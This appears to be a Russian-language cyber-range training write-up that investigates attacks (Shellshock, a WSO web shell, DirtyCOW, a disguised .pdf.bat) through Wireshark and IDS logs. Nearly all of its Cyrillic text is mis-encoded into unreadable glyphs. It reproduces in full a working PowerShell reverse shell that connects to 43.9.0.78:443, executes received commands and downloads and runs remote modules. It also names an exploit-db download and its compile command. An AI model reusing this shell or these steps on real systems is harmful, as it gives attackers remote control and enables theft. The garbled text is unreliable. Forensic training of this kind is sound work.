ʟʘʬʠʢʩʠʨʦʚʘʥʘ ʢʦʤʧʴʶʪʝʨʥʘʷ ʘʪʘʢʘ çShellshockè (ʵʢʩʧʣʫʘʪʘʮʠʷ ʫʷʟʚʠʤʦʩʪʠ 

CVE-2014-6271) ʥʘ ʫʟʝʣ 192.168.20.20. ɸʪʘʢʘ ʫʩʧʝʰʥʘ, ʪ.ʢ.: 

- ɺ ʧʦʣʝ ñUser-Agentò Get-ʟʘʧʨʦʩʘ ʟʘʬʠʢʩʠʨʦʚʘʥʳ ʩʣʫʞʝʙʥʳʝ ʩʠʤʚʦʣʳ 

ç() { :;}è ʧʦʩʣʝ ʢʦʪʦʨʳʭ ʰʣʠ ʦʙʬʫʩʮʠʨʦʚʘʥʥʳʝ ʢʦʤʘʥʜʳ ʆʉ Linux; 

- ʂʦʜ ʦʪʚʝʪʘ ʚʝʙ-ʩʝʨʚʝʨʘ ç200è ʠ ʩʦʜʝʨʞʠʪ ʚʳʚʦʜ ʚʳʧʦʣʥʝʥʥʳʭ ʢʦʤʘʥʜ 

ʠʟ Get-ʟʘʧʨʦʩʘ. 
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ɺ ʨʝʟʫʣʴʪʘʪʝ ʵʢʩʧʣʫʘʪʘʮʠʠ ʫʷʟʚʠʤʦʩʪʠ CVE-2014-6271 ʥʘ ʚʝʙ-ʩʝʨʚʝʨʝ 

192.168.20.20 ʩʦʟʜʘʥ ʚʝʙ-ʰʝʣʣ (URL: http://192.168.20.20/WSO.php, 

md5=11é11), ʚʳʧʦʣʥʷʝʤʳʡ ʦʪ ʧʨʘʚ ʧʦʣʴʟʦʚʘʪʝʣʷ www-data. ʉ ʧʦʤʦʱʴʶ ʚʝʙ-

ʰʝʣʣʘ ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʩʤʦʛ ʦʧʨʝʜʝʣʠʪʴ ʚʝʨʩʠʶ ʆʉ (Linux 3.2.0) ʠ ʫʢʨʘʩʪʴ 

ʬʘʡʣ (/tmp/secret_doc.txt). ʉʦʜʝʨʞʘʥʠʝ ʬʘʡʣʘ: çItôs a big secretè. ʇʦʩʣʝ ʯʝʛʦ 

ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʟʘʛʨʫʟʠʣ ʠʩʭʦʜʥʳʡ ʢʦʜ ʵʢʩʧʣʦʡʪʘ DirtyCOW (CVE-2016-

5195) ʩ ʚʝʙ-ʨʝʩʫʨʩʘ https://www.exploit-db.com/raw/40839 (md5=22é22), 

ʩʢʦʤʧʠʣʠʨʦʚʘʣ ʝʛʦ ʢʦʤʘʥʜʦʡ ñgcc -pthread dirty.c -o dirty -lcryptò. ɺʳʧʦʣʥʠʚ 

ʠʩʧʦʣʥʷʝʤʳʡ ʬʘʡʣ ʵʢʩʧʣʦʡʪʘ, ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʧʦʣʫʯʠʣ ʧʨʘʚʘ ʧʦʣʴʟʦʚʘʪʝʣʷ 

root ʠ ʟʘʧʫʩʪʠʣ ʤʘʡʥʝʨ ʢʨʠʧʪʦʚʘʣʶʪʳ. 

ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʷ 

ɺ Wireshark ʤʦʞʥʦ ʦʧʨʝʜʝʣʠʪʴ ʜʘʪʫ ʠ ʚʨʝʤʷ ʢʦʤʧʴʶʪʝʨʥʦʡ ʘʪʘʢʠ, 

ʧʨʦʘʥʘʣʠʟʠʨʦʚʘʚ ʩʝʪʝʚʦʡ ʪʨʘʬʠʢ ʩ ʧʦʤʦʱʴʶ ʨʘʟʣʠʯʥʳʭ ʬʫʥʢʮʠʡ ʠ 

ʬʠʣʴʪʨʦʚ. ʅʘʧʨʠʤʝʨ, ʚʦʩʧʦʣʴʟʦʚʘʚʰʠʩʴ ʚʨʝʤʝʥʥʦʡ ʰʢʘʣʦʡ ʧʘʢʝʪʦʚ. 

 

ʈʠʩʫʥʦʢ 58 ï ʇʘʥʝʣʴ ʧʝʨʚʦʛʦ ʦʪʧʨʘʚʣʝʥʥʦʛʦ ʧʘʢʝʪʘ 

 

ʈʠʩʫʥʦʢ 59 ï ʇʘʥʝʣʴ ʧʝʨʚʦʛʦ ʦʪʧʨʘʚʣʝʥʥʦʛʦ ʧʘʢʝʪʘ 

 

ʈʠʩʫʥʦʢ 60 ï ʇʘʥʝʣʴ ʧʦʩʣʝʜʥʝʛʦ ʦʪʧʨʘʚʣʝʥʥʦʛʦ ʧʘʢʝʪʘ 
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ʊʘʢʠʤ ʦʙʨʘʟʦʤ, ʜʝʣʘʝʤ ʚʳʚʦʜ, ʯʪʦ ʜʘʪʘ ʧʨʦʚʝʜʝʥʠʷ ʂɸ - ʵʪʦ 20 ɸʧʨʝʣʷ 

2023 ʛʦʜʘ. ɺʨʝʤʷ ʧʨʦʚʝʜʝʥʠʷ ʨʘʥʞʠʨʫʝʪʩʷ ʚ ʜʠʘʧʘʟʦʥʝ ʩ 23:30:49 ʄʉʂ ʜʦ 

23:33:23 ʄʉʂ ʪʦʛʦ ʞʝ ʜʥʷ. 

ʉ ʧʦʤʦʱʴʶ ʩʪʘʪʠʩʪʠʢʠ IP ʘʜʨʝʩʦʚ ʤʳ ʤʦʞʝʤ ʧʨʦʩʤʦʪʨʝʪʴ ʩʧʠʩʦʢ 

ʫʥʠʢʘʣʴʥʳʭ IP-ʘʜʨʝʩʦʚ, ʚʩʪʨʝʯʘʶʱʠʭʩʷ ʚ ʩʝʪʝʚʦʤ ʪʨʘʬʠʢʝ.  

 

ʈʠʩʫʥʦʢ 61 ï ʇʘʥʝʣʴ Endpoints ʩ ʩʦʜʝʨʞʠʤʳʤ IP ʘʜʨʝʩʦʚ 

- IP ʘʜʨʝʩ ʘʪʘʢʫʶʱʝʛʦ 1 ʵʪʦ ñ43.9.0.15ò ʩʪʨʘʥʘ ʈʦʩʩʠʷ, 

- ʘʜʨʝʩ ʞʝʨʪʚʳ 1 ñ43.9.0.4ò ʩʪʨʘʥʘ ʈʦʩʩʠʷ, 

- ñ239.255.255.250ò - ʵʪʦ ʘʜʨʝʩ, ʢʦʪʦʨʳʡ ʫʢʘʟʳʚʘʝʪ ʥʘ ʤʥʦʛʦʘʜʨʝʩʥʫʶ 

ʛʨʫʧʧʫ, ʠʩʧʦʣʴʟʫʝʤʫʶ ʜʣʷ ʦʙʥʘʨʫʞʝʥʠʷ ʩʣʫʞʙ ʚ ʩʝʪʠ, 

- ʘʪʘʢʫʶʱʠʡ 2 43.0.9.78 ʩʪʨʘʥʘ ʈʦʩʩʠʷ.  

ɼʣʷ ʦʧʨʝʜʝʣʝʥʠʷ ʚʠʜʘ ʘʪʘʢʠ, ʩʪʦʠʪ ʧʦʩʤʦʪʨʝʪʴ, ʯʪʦ ʧʨʦʠʩʭʦʜʠʪ ʚ 

ʧʘʢʝʪʘʭ ʧʦ HTTP ʟʘʧʨʦʩʫ. ʅʘʤ ʥʫʞʥʦ ʧʦʥʷʪʴ, ʢʘʢʠʤ ʠʤʝʥʥʦ ʦʙʨʘʟʦʤ 

ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʟʘʚʣʘʜʝʣ ʜʦʩʪʫʧʦʤ ʢ ʤʘʰʠʥʝ ʞʝʨʪʚʳ.  

 

ʈʠʩʫʥʦʢ 62 ï HTTP ʧʘʢʝʪ ʦʪʦʙʨʘʞʘʝʤʦʡ ʩʪʨʘʥʠʮʳ (ʧʘʢʝʪ ˉ16) 

ʉʪʨʦʢʠ ʩʦʜʝʨʞʘʪ ʩʧʠʩʦʢ ʬʘʡʣʦʚ ʚ ʢʦʨʥʝʚʦʤ ʢʘʪʘʣʦʛʝ ("/"). ɺ ʩʧʠʩʢʝ 

ʧʨʠʩʫʪʩʪʚʫʶʪ ʜʚʘ ʵʣʝʤʝʥʪʘ: 

1. breaking_news.pdf.bat - ʬʘʡʣ ʩ ʨʘʩʰʠʨʝʥʠʝʤ .bat, ʯʪʦ ʦʙʳʯʥʦ 

ʫʢʘʟʳʚʘʝʪ ʥʘ ʬʘʡʣ ʧʘʢʝʪʥʳʭ ʢʦʤʘʥʜ Windows. ɿʘʤʘʩʢʠʨʦʚʘʥ ʧʦʜ ʬʘʡʣ ʩ 

ʨʘʩʰʠʨʝʥʠʝʤ pdf. 
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2. vnc.exe - ʬʘʡʣ ʩ ʨʘʩʰʠʨʝʥʠʝʤ .exe, ʠʩʧʦʣʥʷʝʤʳʡ ʬʘʡʣ, ʚʦʟʤʦʞʥʦ, 

ʩʚʷʟʘʥʥʳʡ ʩ VNC (Virtual Network Computing). 

Virtual Network Computing (VNC) ð ʵʪʦ ʪʝʭʥʦʣʦʛʠʷ ʫʜʘʣʸʥʥʦʛʦ 

ʜʦʩʪʫʧʘ, ʢʦʪʦʨʘʷ ʧʦʟʚʦʣʷʝʪ ʧʦʣʴʟʦʚʘʪʝʣʶ ʫʧʨʘʚʣʷʪʴ ʠ ʧʨʦʩʤʘʪʨʠʚʘʪʴ 

ʫʜʘʣʸʥʥʳʡ ʢʦʤʧʴʶʪʝʨ ʯʝʨʝʟ ʩʝʪʴ. VNC ʩʦʩʪʦʠʪ ʠʟ ʢʣʠʝʥʪʩʢʦʡ ʠ ʩʝʨʚʝʨʥʦʡ 

ʯʘʩʪʝʡ. ʅʘ ʫʜʘʣʸʥʥʦʤ ʢʦʤʧʴʶʪʝʨʝ ʜʦʣʞʝʥ ʙʳʪʴ ʫʩʪʘʥʦʚʣʝʥ VNC-ʩʝʨʚʝʨ, ʘ ʥʘ 

ʢʦʤʧʴʶʪʝʨʝ ʧʦʣʴʟʦʚʘʪʝʣʷ ð VNC-ʢʣʠʝʥʪ. 

ʄʦʞʥʦ ʩʜʝʣʘʪʴ ʚʳʚʦʜ, ʯʪʦ ʚʝʢʪʦʨʦʤ ʘʪʘʢʠ ʚʳʩʪʫʧʘʝʪ cʧʫʬʬʠʥʛ. ʅʦ ʥʝ 

ʩʪʦʠʪ ʫʪʚʝʨʞʜʘʪʴ, ʯʪʦ ʵʪʦ ʦʩʥʦʚʥʦʡ ʚʠʜ ʘʪʘʢʠ, ʵʪʦ ʣʠʰʴ ʚʝʢʪʦʨ. ʆʙʨʘʪʠʪʝ 

ʚʥʠʤʘʥʠʝ ʥʘ ʧʘʢʝʪ 49. 

 

ʈʠʩʫʥʦʢ 63 ï HTTP ʧʘʢʝʪ ˉ49 

GET /breaking_news.pdf.bat HTTP/1.1 ʦʟʥʘʯʘʝʪ HTTP-ʟʘʧʨʦʩ ʥʘ 

ʧʦʣʫʯʝʥʠʝ ʨʝʩʫʨʩʘ ʩ ʠʤʝʥʝʤ "breaking_news.pdf.bat" ʥʘ ʭʦʩʪʝ ʫʢʘʟʘʥʥʦʤ ʚ 

ʟʘʛʦʣʦʚʢʝ "Host". 

ʉʝʨʚʝʨ ʫʢʘʟʳʚʘʝʪ, ʯʪʦ ʪʠʧ ʩʦʜʝʨʞʠʤʦʛʦ ʬʘʡʣʘ - "application/x-msdos-

program" (ʧʨʠʣʦʞʝʥʠʝ ʚ ʬʦʨʤʘʪʝ MS-DOS).  

ʉʫʜʷ ʧʦ ʧʘʢʝʪʘʤ, ʟʜʝʩʴ ʟʘʧʫʱʝʥ ʧʨʦʩʪʦʡ HTTP ʩʝʨʚʝʨ.  

ʇʘʢʝʪ ˉ54 ʩʦʜʝʨʞʠʪ ʢʦʤʘʥʜʫ PowerShell, ʢʦʪʦʨʘʷ ʙʫʜʝʪ ʚʳʧʦʣʥʝʥʘ 

ʧʨʠ ʟʘʧʫʩʢʝ ʬʘʡʣʘ "breaking_news.pdf.bat". 

 

ʈʠʩʫʥʦʢ 64 ï PowerShell ʟʘʰʠʬʨʦʚʘʥʥʘʷ ʩʪʨʦʢʘ 

ʕʪʘ ʢʦʤʘʥʜʘ ʟʘʧʫʩʢʘʝʪ PowerShell ʩ ʧʘʨʘʤʝʪʨʘʤʠ -nop (ʥʝ ʟʘʛʨʫʞʘʪʴ 

ʧʨʦʬʠʣʠ), -w hidden (ʩʢʨʳʪʳʡ ʨʝʞʠʤ ʦʢʥʘ), -noni (ʙʝʟ ʧʦʜʪʚʝʨʞʜʝʥʠʷ) ʠ -ep 

bypass (ʦʙʭʦʜ ʚʳʧʦʣʥʝʥʠʷ ʩʢʨʠʧʪʦʚ). ɼʘʣʝʝ ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʥʘʯʘʣ 

ʠʩʩʣʝʜʦʚʘʥʠʝ ʇʂ ʞʝʨʪʚʳ. 

ʇʦʧʨʦʙʫʝʤ ʨʘʩʰʠʬʨʦʚʘʪʴ ʜʘʥʥʳʡ ʢʦʜ ʩ ʧʦʤʦʱʴʶ PowerShell. 
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 ʇʦʣʫʯʘʝʤ ʩʣʝʜʫʶʱʠʡ ʢʦʜ: 

function Get-Webclient 

{  

 $wc = New-Object -TypeName Net.WebClient 

 $wc.UseDefaultCredentials = $true 

 $wc.Proxy.Credentials = $wc.Credentials 

 $wc 

}  

function powerfun 

{  

 Param( 

 [String]$Command, 

 [String]$Sslcon, 

 [String]$Download 

 ) 

 Process { 

 $modules = @() 

 if ($Command -eq "bind") 

 {  

  $listener = [System.Net.Sockets.TcpListener]443 

  $listener.start() 

  $client = $listener.AcceptTcpClient() 

 }  

 if ($Command -eq "reverse") 

 {  

  $client = New-Object System.Net.Sockets.TCPClient("43.9.0.78",443) 

 }  

 $stream = $client.GetStream() 

 if ($Sslcon -eq "true") 

 {  

  $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} 

-as [Net.Security.RemoteCertificateValidationCallback])) 

  $sslStream.AuthenticateAsClient("43.9.0.78",$null,"tls12",$false) 

  $stream = $sslStream 

 }  

 [byte[]]$bytes = 0..20000|%{0} 

 $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as 

user " + $env:username + " on " + $env:computername + "`nCopyright (C) Microsoft 

Corporation. All rights reserved.`n`n") 

 $stream.Write($sendbytes,0,$sendbytes.Length) 

 if ($Download -eq "true") 
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 {  

  $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n") 

  $stream.Write($sendbytes,0,$sendbytes.Length) 

  ForEach ($module in $modules) 

  {  

   (Get-Webclient).DownloadString($module)|Invoke-Expression 

  }  

 }  

 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 

 {  

  $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 

  $data = $EncodedText.GetString($bytes,0, $i) 

  $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 

  $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 

  $x = ($error[0] | Out-String) 

  $error.clear() 

  $sendback2 = $sendback2 + $x 

  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 

  $stream.Write($sendbyte,0,$sendbyte.Length) 

  $stream.Flush() 

 }  

 $client.Close() 

 if ($listener) 

 {  

 $listener.Stop() 

 }  

 }  

}  

powerfun -Command reverse 

 

ʂʦʜ ʧʨʝʜʩʪʘʚʣʷʝʪ ʩʦʙʦʡ ʩʢʨʠʧʪ ʥʘ ʷʟʳʢʝ PowerShell, ʢʦʪʦʨʳʡ 

ʦʧʨʝʜʝʣʷʝʪ ʜʚʝ ʬʫʥʢʮʠʠ: Get-Webclient ʠ powerfun. ʌʫʥʢʮʠʷ Get-Webclient 

ʩʦʟʜʘʝʪ ʥʦʚʳʡ ʵʢʟʝʤʧʣʷʨ ʦʙʲʝʢʪʘ System.Net.WebClient ʠ ʥʘʩʪʨʘʠʚʘʝʪ ʝʛʦ ʜʣʷ 

ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʫʯʝʪʥʳʭ ʜʘʥʥʳʭ ʧʦ ʫʤʦʣʯʘʥʠʶ. ʌʫʥʢʮʠʷ powerfun ʧʨʠʥʠʤʘʝʪ 

ʪʨʠ ʧʘʨʘʤʝʪʨʘ ($Command, $Sslcon ʠ $Download) ʠ ʚʳʧʦʣʥʷʝʪ ʨʘʟʣʠʯʥʳʝ 

ʜʝʡʩʪʚʠʷ ʚ ʟʘʚʠʩʠʤʦʩʪʠ ʦʪ ʟʥʘʯʝʥʠʷ ʧʘʨʘʤʝʪʨʘ $Command. 

ɽʩʣʠ ʧʘʨʘʤʝʪʨ $Command ʫʩʪʘʥʦʚʣʝʥ ʚ ʟʥʘʯʝʥʠʝ "bind", ʬʫʥʢʮʠʷ 

ʩʦʟʜʘʝʪ TCP-ʧʨʦʩʣʫʰʠʚʘʪʝʣʴ ʥʘ ʧʦʨʪʫ 443 ʠ ʧʨʠʥʠʤʘʝʪ ʩʦʝʜʠʥʝʥʠʝ TCP-
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ʢʣʠʝʥʪʘ. ɽʩʣʠ ʧʘʨʘʤʝʪʨ $Command ʫʩʪʘʥʦʚʣʝʥ ʚ ʟʥʘʯʝʥʠʝ "reverse", ʬʫʥʢʮʠʷ 

ʩʦʟʜʘʝʪ ʩʦʝʜʠʥʝʥʠʝ TCP-ʢʣʠʝʥʪʘ ʩ IP-ʘʜʨʝʩʦʤ "43.9.0.78" ʥʘ ʧʦʨʪʫ 443. 

ɿʘʪʝʤ ʬʫʥʢʮʠʷ ʧʨʦʚʝʨʷʝʪ ʧʘʨʘʤʝʪʨ $Sslcon. ɽʩʣʠ ʦʥ ʫʩʪʘʥʦʚʣʝʥ ʚ 

ʟʥʘʯʝʥʠʝ "true", ʩʦʟʜʘʝʪʩʷ ʥʦʚʳʡ ʦʙʲʝʢʪ System.Net.Security.SslStream ʠ 

ʘʫʪʝʥʪʠʬʠʮʠʨʫʝʪʩʷ ʢʘʢ ʢʣʠʝʥʪ ʩ ʠʩʧʦʣʴʟʦʚʘʥʠʝʤ TLS 1.2. ʉʫʱʝʩʪʚʫʶʱʠʡ 

ʩʝʪʝʚʦʡ ʧʦʪʦʢ ʟʘʤʝʥʷʝʪʩʷ ʧʦʪʦʢʦʤ SSL. 

ɼʘʣʝʝ ʬʫʥʢʮʠʷ ʦʪʧʨʘʚʣʷʝʪ ʢʣʠʝʥʪʫ ʩʦʦʙʱʝʥʠʝ ʩ ʠʥʬʦʨʤʘʮʠʝʡ ʦ ʩʨʝʜʝ 

PowerShell. 

ɽʩʣʠ ʧʘʨʘʤʝʪʨ $Download ʫʩʪʘʥʦʚʣʝʥ ʚ ʟʥʘʯʝʥʠʝ "true", ʬʫʥʢʮʠʷ 

ʦʪʧʨʘʚʣʷʝʪ ʩʦʦʙʱʝʥʠʝ, ʫʢʘʟʳʚʘʶʱʝʝ, ʯʪʦ ʟʘʛʨʫʞʘʶʪʩʷ ʤʦʜʫʣʠ. ɿʘʪʝʤ ʦʥʘ 

ʚʳʧʦʣʥʷʝʪ ʮʠʢʣ ʧʦ ʤʘʩʩʠʚʫ $modules ʠ ʟʘʛʨʫʞʘʝʪ ʩʦʜʝʨʞʠʤʦʝ ʢʘʞʜʦʛʦ 

ʤʦʜʫʣʷ, ʠʩʧʦʣʴʟʫʷ ʤʝʪʦʜ DownloadString ʦʙʲʝʢʪʘ Get-Webclient (ʢʦʪʦʨʳʡ 

ʚʦʟʚʨʘʱʘʝʪ ʨʘʥʝʝ ʩʦʟʜʘʥʥʳʡ ʦʙʲʝʢʪ WebClient), ʘ ʟʘʪʝʤ ʚʳʧʦʣʥʷʝʪ 

ʟʘʛʨʫʞʝʥʥʳʡ ʤʦʜʫʣʴ ʩ ʧʦʤʦʱʴʶ Invoke-Expression. 

ɼʘʣʝʝ, ʬʫʥʢʮʠʷ ʚʭʦʜʠʪ ʚ ʮʠʢʣ, ʚ ʢʦʪʦʨʦʤ ʦʥʘ ʩʯʠʪʳʚʘʝʪ ʜʘʥʥʳʝ ʠʟ 

ʧʦʪʦʢʘ, ʚʳʧʦʣʥʷʝʪ ʧʦʣʫʯʝʥʥʳʝ ʜʘʥʥʳʝ ʢʘʢ ʢʦʤʘʥʜʫ PowerShell ʩ ʧʦʤʦʱʴʶ 

Invoke-Expression, ʟʘʭʚʘʪʳʚʘʝʪ ʚʳʚʦʜ ʠ ʦʪʧʨʘʚʣʷʝʪ ʝʛʦ ʦʙʨʘʪʥʦ ʢʣʠʝʥʪʫ.  

ʉʫʜʷ ʧʦ ʜʘʥʥʳʤ ʧʘʨʘʤʝʪʨʘʤ ʢʦʜʘ - ʵʪʦ Reverse Shell. Reverse Shell - 

ʵʪʦ ʪʝʭʥʠʢʘ, ʧʨʠ ʢʦʪʦʨʦʡ ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʟʘʩʪʘʚʣʷʝʪ ʮʝʣʝʚʫʶ ʩʠʩʪʝʤʫ 

ʫʩʪʘʥʦʚʠʪʴ ʩʦʝʜʠʥʝʥʠʝ ʩ ʥʠʤ ʠ ʧʨʝʜʦʩʪʘʚʠʪʴ ʜʦʩʪʫʧ ʢ ʢʦʤʘʥʜʥʦʡ ʦʙʦʣʦʯʢʝ 

ʥʘ ʟʘʨʘʞʝʥʥʦʡ ʩʠʩʪʝʤʝ. 

ʂʦʤʘʥʜʦʡ ñwhoamiò ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʧʨʦʩʤʦʪʨʝʣ ʜʘʥʥʳʝ ʦ 

ʧʦʣʴʟʦʚʘʪʝʣʝ. ɼʘʣʝʝ ʟʘʧʫʩʪʠʣ ʢʦʤʘʥʜʫ, ʢʦʪʦʨʘʷ ʧʦʟʚʦʣʷʝʪ ʩʜʝʣʘʪʴ ʩʢʨʠʥʰʦʪ 

ʵʢʨʘʥʘ. 

 

ʈʠʩʫʥʦʢ 65 ï ɼʝʡʩʪʚʠʷ ʟʣʦʫʤʳʰʣʝʥʥʠʢʘ 

ʇʦʩʣʝ ʵʪʦʛʦ ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʦʪʧʨʘʚʣʷʝʪ ʩʢʨʠʥʰʦʪ ʥʘ ʩʝʨʚʝʨ 

ñhttp://43.9.0.78/ò 

 

ʈʠʩʫʥʦʢ 66 ï ɼʝʡʩʪʚʠʷ ʟʣʦʫʤʳʰʣʝʥʥʠʢʘ 
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ɼʘʣʝʝ, ʧʨʦʩʤʘʪʨʠʚʘʷ ʬʘʡʣʳ, ʟʘʤʝʯʘʝʪ TXT ʬʘʡʣ TOP_SECRET ʠ 

ʨʝʰʘʝʪ ʚ ʥʝʛʦ ʟʘʛʣʷʥʫʪʴ ʚ ʧʦʠʩʢʘʭ ʚʘʞʥʦʡ ʠʥʬʦʨʤʘʮʠʠ. 

 

ʈʠʩʫʥʦʢ 67 ï ʉʦʜʝʨʞʠʤʦʝ ʜʠʩʢʘ ʉ 

 

ʈʠʩʫʥʦʢ 68 ï ʉʦʜʝʨʞʠʤʦʝ ʬʘʡʣʘ TOP_SECRET.txt 

ʅʦ ʥʘʭʦʜʠʪ ʣʠʰʴ ʩʣʦʚʘ ʧʝʩʥʠ Nickleback 

ʋʩʧʝʰʥʘ ʣʠ ʘʪʘʢʘ ʟʣʦʫʤʳʰʣʝʥʥʠʢʘ? 

ʆʧʨʝʜʝʣʝʥʥʦ ʜʘ, ʚʝʜʴ ʝʩʣʠ ʤʳ ʧʨʦʩʤʦʪʨʠʤ ʦʜʠʥ ʠʟ ʧʦʩʣʝʜʫʶʱʠʭ 

ʧʘʢʝʪʦʚ, ʪʦ ʫʚʠʜʠʤ ʩʣʝʜʫʶʱʝʝ. 

 

ʈʠʩʫʥʦʢ 69 ï ʉʦʜʝʨʞʠʤʦʝ ʩʢʨʠʥʰʦʪʘ 
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ʀʟʤʝʥʠʤ ʚʠʜ ʦʪʦʙʨʘʞʝʥʠʷ ʠ ʧʦʧʨʦʙʫʝʤ ʦʪʨʝʜʘʢʪʠʨʦʚʘʪʴ ʩ ʧʦʤʦʱʴʶ 

ʧʨʦʛʨʘʤʤʳ HxD. 

 

ʈʠʩʫʥʦʢ 70 ï ʉʦʜʝʨʞʠʤʦʝ ʩʢʨʠʥʰʦʪʘ ʚ ʬʦʨʤʘʪʝ Raw 

 

ʈʠʩʫʥʦʢ 71 ï ʉʦʜʝʨʞʠʤʦʝ ʩʢʨʠʥʰʦʪʘ ʚ HxD ʫʪʠʣʠʪʝ 
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ʆʪʨʝʜʘʢʪʠʨʦʚʘʥʥʳʡ ʪʝʢʩʪ ʩʦʭʨʘʥʠʤ ʢʘʢ .png: 

 

ʈʠʩʫʥʦʢ 72 ï ʇʦʣʫʯʝʥʥʳʡ ʟʣʦʫʤʳʰʣʝʥʥʠʢʦʤ ʩʢʨʠʥʰʦʪ 

ɺʠʜʠʤ ʣʦʛʠʥ ʠ ʧʘʨʦʣʴ ʧʦʣʴʟʦʚʘʪʝʣʷ ʥʘ ʩʢʨʠʥʰʦʪʝ, ʢʦʪʦʨʳʡ 

ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʠ ʧʦʣʫʯʠʣ: 

 

ʈʠʩʫʥʦʢ 73 ï ʃʦʛʠʥ ʠ ʧʘʨʦʣʴ ʞʝʨʪʚʳ 

 

ɺʳʚʦʜ: ʠʟʫʯʠʚ ʧʨʝʜʦʩʪʘʚʣʝʥʥʳʡ ʪʨʘʬʠʢ ʤʦʞʥʦ ʦʧʨʝʜʝʣʠʪʴ ʯʪʦ ʘʪʘʢʘ 

ʙʳʣʘ ʧʨʦʠʟʚʝʜʝʥʘ ʫʩʧʝʰʥʦ, ʪʘʢ ʢʘʢ ʟʣʦʫʤʳʰʣʝʥʥʠʢ ʧʦʣʫʯʠʣ ʣʦʛʠʥ ʠ ʧʘʨʦʣʴ.  
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ɿʘʜʘʥʠʝ ˉ6. ʂʠʙʝʨʧʦʣʠʛʦʥ "Ampire", ʩʮʝʥʘʨʠʡ çɸʪʘʢʘ ʥʘ ʧʦʯʪʦʚʳʡ 

ʩʝʨʚʝʨè (ʢʦʥʬʠʛʫʨʘʪʦʨ). 

ʎʝʣʴ ʨʘʙʦʪʳ: ʦʙʥʘʨʫʞʠʪʴ ʠ ʫʩʪʨʘʥʠʪʴ ʚʩʝ ʫʷʟʚʠʤʦʩʪʠ ʠ ʧʦʩʣʝʜʩʪʚʠʷ. 

ʇʨʠʤʝʨ ʚʳʧʦʣʥʝʥʠʷ ʟʘʜʘʥʠʷ  

ɼʣʷ ʧʨʦʭʦʞʜʝʥʠʷ ʜʘʥʥʦʛʦ ʩʮʝʥʘʨʠʷ ʥʝʦʙʭʦʜʠʤʦ ʟʘʢʨʳʪʴ ʚʩʝ 

ʫʷʟʚʠʤʦʩʪʠ ʠ ʧʦʩʣʝʜʩʪʚʠʷ. ʂʘʨʪʦʯʢʘ ʪʨʝʥʠʨʦʚʢʠ ʧʨʝʜʩʪʘʚʣʝʥʘ ʥʘ ʨʠʩʫʥʢʝ 74. 

 

ʈʠʩʫʥʦʢ 74 ï ʂʘʨʪʦʯʢʘ ʪʨʝʥʠʨʦʚʢʠ. 

ɼʣʷ ʧʦʠʩʢʘ ʫʷʟʚʠʤʦʩʪʝʡ, ʢʦʤʘʥʜʝ ʤʦʥʠʪʦʨʠʥʛʘ ʥʝʦʙʭʦʜʠʤʦ ʟʘʡʪʠ ʚ 

ʩʠʩʪʝʤʫ ʤʦʥʠʪʦʨʠʥʛʘ ʩʦʙʳʪʠʡ ViPNet IDS NS, ʢʦʪʦʨʘʷ ʧʨʝʜʩʪʘʚʣʝʥʘ ʥʘ 

ʨʠʩʫʥʢʝ 75. 

 

ʈʠʩʫʥʦʢ 75 ï ɻʣʘʚʥʳʡ ʵʢʨʘʥ ʩʠʩʪʝʤʳ ʤʦʥʠʪʦʨʠʥʛʘ ViPNet IDS NS. 

ʇʦʩʣʝ ʚʭʦʜʘ ʚ ʩʠʩʪʝʤʫ ʥʝʦʙʭʦʜʠʤʦ ʧʝʨʝʡʪʠ ʚ ʨʘʟʜʝʣ çʉʦʙʳʪʠʷè ʚ 

ʧʘʥʝʣʠ ʩʣʝʚʘ ʠ ʦʪʩʦʨʪʠʨʦʚʘʪʴ ʩʦʙʳʪʠʷ ʧʦ ʚʨʝʤʝʥʠ ʥʘʯʘʣʘ ʘʪʘʢʠ. ʅʘʞʤʠʪʝ ʥʘ 

ʥʘʟʚʘʥʠʝ ʩʪʦʣʙʮʘ çɼʘʪʘ ʠ ʚʨʝʤʷè, ʯʪʦʙʳ ʩʦʙʳʪʠʷ ʰʣʠ ʚ ʧʨʘʚʠʣʴʥʦʤ 
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ʭʨʦʥʦʣʦʛʠʯʝʩʢʦʤ ʧʦʨʷʜʢʝ, ʘ ʟʘʪʝʤ ʥʘʞʘʪʴ ʥʘ ʟʥʘʯʦʢ ʚʦʨʦʥʢʠ, ʥʘʭʦʜʷʱʠʡʩʷ 

ʨʷʜʦʤ ʩ ʧʦʣʝʤ ʧʦʠʩʢʘ ʩʦʙʳʪʠʷ. ɼʝʡʩʪʚʠʝ ʧʨʝʜʩʪʘʚʣʝʥʦ ʥʘ ʨʠʩʫʥʢʝ 76. 

 

ʈʠʩʫʥʦʢ 76 ï ʌʠʣʴʪʨʘʮʠʷ ʩʦʙʳʪʠʡ ʧʦ ʚʨʝʤʝʥʠ. 

ɺ ʦʪʢʨʳʚʰʝʤʩʷ ʦʢʥʝ ʬʠʣʴʪʨʘʮʠʠ ʩʦʙʳʪʠʡ ʥʝʦʙʭʦʜʠʤʦ ʚʳʩʪʘʚʠʪʴ 

ʠʥʪʝʨʚʘʣ ʚʨʝʤʝʥʠ, ʧʝʨʝʜʘʥʥʳʡ ʩʪʫʜʝʥʪʘʤ ʧʨʝʧʦʜʘʚʘʪʝʣʝʤ, ʠ ʚʳʜʝʣʠʪʴ 

ʦʪʦʙʨʘʟʠʚʰʠʝʩʷ ʪʠʧʳ ʩʦʙʳʪʠʡ. ʆʢʥʦ ʬʠʣʴʪʨʘ ʧʨʝʜʩʪʘʚʣʝʥʦ ʥʘ ʨʠʩʫʥʢʝ 77. 

